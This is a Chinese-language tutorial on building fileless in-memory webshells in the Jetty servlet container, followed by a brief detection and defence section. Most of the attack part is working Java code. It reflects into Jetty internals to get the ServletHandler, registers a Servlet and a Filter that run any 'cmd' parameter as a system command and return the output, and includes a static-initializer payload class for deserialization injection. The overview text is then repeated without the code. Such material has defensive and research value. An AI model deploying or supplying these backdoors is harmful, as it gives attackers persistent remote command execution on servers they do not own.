jetty 内存马构造分析
字数 1119 2025-08-22 12:23:00

Jetty 内存马构造与分析

1. 内存马概述

内存马(Memory Shell)是一种无文件落地的Web后门技术,通过直接操作Web容器的内存结构来植入恶意功能。Jetty作为一款轻量级的Java Web服务器和Servlet容器,同样存在被植入内存马的风险。

2. Jetty Servlet内存马构造

2.1 基本原理

Jetty中Servlet的注册流程是通过ServletHandler类的addServletWithMapping方法实现的。内存马的核心思路是获取当前Jetty运行时的ServletHandler实例,然后动态添加恶意Servlet。

2.2 关键代码分析

2.2.1 获取ServletHandler

private static ServletHandler getServletContextFromThread() {
    try {
        // 获取当前线程的 ThreadLocalMap
        Thread currentThread = Thread.currentThread();
        java.lang.reflect.Field threadLocalsField = Thread.class.getDeclaredField("threadLocals");
        threadLocalsField.setAccessible(true);
        Object threadLocalMap = threadLocalsField.get(currentThread);

        // 获取 ThreadLocalMap 的table
        java.lang.reflect.Field tableField = threadLocalMap.getClass().getDeclaredField("table");
        tableField.setAccessible(true);
        Object[] table = (Object[]) tableField.get(threadLocalMap);

        // 遍历 table 寻找 ServletContext
        for (Object entry : table) {
            if (entry != null) {
                java.lang.reflect.Field valueField = entry.getClass().getDeclaredField("value");
                valueField.setAccessible(true);
                Object value = valueField.get(entry);
                
                if (value instanceof ServletContext) {
                    java.lang.reflect.Field valueField_1 = value.getClass().getDeclaredField("this$0");
                    valueField_1.setAccessible(true);
                    Object value_1 = valueField_1.get(value);
                    
                    java.lang.reflect.Field valueField_2 = value_1.getClass().getDeclaredField("_servletHandler");
                    valueField_2.setAccessible(true);
                    Object value_2 = valueField_2.get(value_1);
                    
                    return (ServletHandler) value_2;
                }
            }
        }
    } catch (Exception e) {
        e.printStackTrace();
    }
    return null;
}

这段代码通过反射获取当前线程的ThreadLocalMap,然后遍历其中的值找到ServletContext实例,最终获取到ServletHandler对象。

2.2.2 添加恶意Servlet

ServletHandler servletHandler = getServletContextFromThread();
servletHandler.addServletWithMapping(new ServletHolder(new MyServlet_payload()), "/payload");
System.out.println("injection successful");

获取到ServletHandler后,直接调用其addServletWithMapping方法添加恶意Servlet。

2.3 恶意Servlet示例

public class MyServlet_payload extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
        System.out.println("success!\n");
        String cmd = req.getParameter("cmd");
        if (cmd != null) {
            try {
                InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                resp.setContentType("text/html; charset=UTF-8");
                PrintWriter writer = resp.getWriter();
                Scanner scanner = new java.util.Scanner(inputStream).useDelimiter("\\A");
                String result = scanner.hasNext() ? scanner.next() : "";
                scanner.close();
                writer.write(result);
                writer.flush();
                writer.close();
            } catch (IOException e) {
                e.printStackTrace();
            } catch (NullPointerException n) {
                n.printStackTrace();
            }
        }
    }
}

这是一个典型的命令执行Servlet,通过cmd参数接收并执行系统命令。

3. Jetty Filter内存马构造

3.1 基本原理

与Servlet内存马类似,Filter内存马也是通过获取ServletHandler实例,然后调用其addFilterWithMapping方法实现的。

3.2 关键代码

ServletHandler servletHandler = getServletContextFromThread();
servletHandler.addFilterWithMapping(new FilterHolder(new MyFilter()), "/payload", EnumSet.of(DispatcherType.REQUEST));

3.3 恶意Filter示例

public class MyFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {}
    
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) 
        throws IOException, ServletException {
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
            response.setContentType("text/html; charset=UTF-8");
            PrintWriter writer = response.getWriter();
            Scanner scanner = new java.util.Scanner(inputStream).useDelimiter("\\A");
            String result = scanner.hasNext() ? scanner.next() : "";
            scanner.close();
            writer.write(result);
            writer.flush();
            writer.close();
            return;
        }
        chain.doFilter(request, response);
    }
    
    @Override
    public void destroy() {}
}

4. 内存马注入点

4.1 直接代码注入

在已有Servlet中插入注入代码,如示例中的MyServlet

4.2 反序列化利用

构造恶意类,在静态代码块中实现内存马注入:

public class Payload {
    static {
        try {
            // 获取当前线程的 ThreadLocalMap
            Thread currentThread = Thread.currentThread();
            java.lang.reflect.Field threadLocalsField = Thread.class.getDeclaredField("threadLocals");
            threadLocalsField.setAccessible(true);
            Object threadLocalMap = threadLocalsField.get(currentThread);

            // 获取 ThreadLocalMap 的table
            java.lang.reflect.Field tableField = threadLocalMap.getClass().getDeclaredField("table");
            tableField.setAccessible(true);
            Object[] table = (Object[]) tableField.get(threadLocalMap);

            // 遍历 table 寻找 ServletContext
            for (Object entry : table) {
                if (entry != null) {
                    java.lang.reflect.Field valueField = entry.getClass().getDeclaredField("value");
                    valueField.setAccessible(true);
                    Object value = valueField.get(entry);
                    if (value instanceof ServletContext) {
                        java.lang.reflect.Field valueField_1 = value.getClass().getDeclaredField("this$0");
                        valueField_1.setAccessible(true);
                        Object value_1 = valueField_1.get(value);
                        
                        java.lang.reflect.Field valueField_2 = value_1.getClass().getDeclaredField("_servletHandler");
                        valueField_2.setAccessible(true);
                        Object value_2 = valueField_2.get(value_1);
                        
                        ServletHandler servletHandler = (ServletHandler) value_2;
                        servletHandler.addServletWithMapping(new ServletHolder(new MyServlet_payload()), "/payload");
                        System.out.println("injection successful");
                    }
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

4.3 JNDI注入利用

通过JNDI注入加载恶意类实现内存马注入。

5. 检测与防御

5.1 检测方法

  1. 反射检测:检查是否存在异常的反射调用
  2. Servlet/Filter列表检查:定期检查当前容器中注册的Servlet和Filter
  3. 行为监控:监控可疑的命令执行行为

5.2 防御措施

  1. 禁用危险功能:限制反射、JNDI等危险功能
  2. 安全加固:配置Jetty的安全策略
  3. 代码审计:定期审计自定义Servlet和Filter
  4. 运行时保护:使用RASP技术进行防护

6. 总结

Jetty内存马的构造核心在于获取ServletHandler实例并通过其方法动态添加Servlet或Filter。防御的关键在于限制动态注册能力和加强运行时监控。理解这些原理有助于更好地防御此类攻击。

Jetty 内存马构造与分析 1. 内存马概述 内存马(Memory Shell)是一种无文件落地的Web后门技术,通过直接操作Web容器的内存结构来植入恶意功能。Jetty作为一款轻量级的Java Web服务器和Servlet容器,同样存在被植入内存马的风险。 2. Jetty Servlet内存马构造 2.1 基本原理 Jetty中Servlet的注册流程是通过 ServletHandler 类的 addServletWithMapping 方法实现的。内存马的核心思路是获取当前Jetty运行时的 ServletHandler 实例,然后动态添加恶意Servlet。 2.2 关键代码分析 2.2.1 获取ServletHandler 这段代码通过反射获取当前线程的 ThreadLocalMap ,然后遍历其中的值找到 ServletContext 实例,最终获取到 ServletHandler 对象。 2.2.2 添加恶意Servlet 获取到 ServletHandler 后,直接调用其 addServletWithMapping 方法添加恶意Servlet。 2.3 恶意Servlet示例 这是一个典型的命令执行Servlet,通过 cmd 参数接收并执行系统命令。 3. Jetty Filter内存马构造 3.1 基本原理 与Servlet内存马类似,Filter内存马也是通过获取 ServletHandler 实例,然后调用其 addFilterWithMapping 方法实现的。 3.2 关键代码 3.3 恶意Filter示例 4. 内存马注入点 4.1 直接代码注入 在已有Servlet中插入注入代码,如示例中的 MyServlet 。 4.2 反序列化利用 构造恶意类,在静态代码块中实现内存马注入: 4.3 JNDI注入利用 通过JNDI注入加载恶意类实现内存马注入。 5. 检测与防御 5.1 检测方法 反射检测 :检查是否存在异常的反射调用 Servlet/Filter列表检查 :定期检查当前容器中注册的Servlet和Filter 行为监控 :监控可疑的命令执行行为 5.2 防御措施 禁用危险功能 :限制反射、JNDI等危险功能 安全加固 :配置Jetty的安全策略 代码审计 :定期审计自定义Servlet和Filter 运行时保护 :使用RASP技术进行防护 6. 总结 Jetty内存马的构造核心在于获取 ServletHandler 实例并通过其方法动态添加Servlet或Filter。防御的关键在于限制动态注册能力和加强运行时监控。理解这些原理有助于更好地防御此类攻击。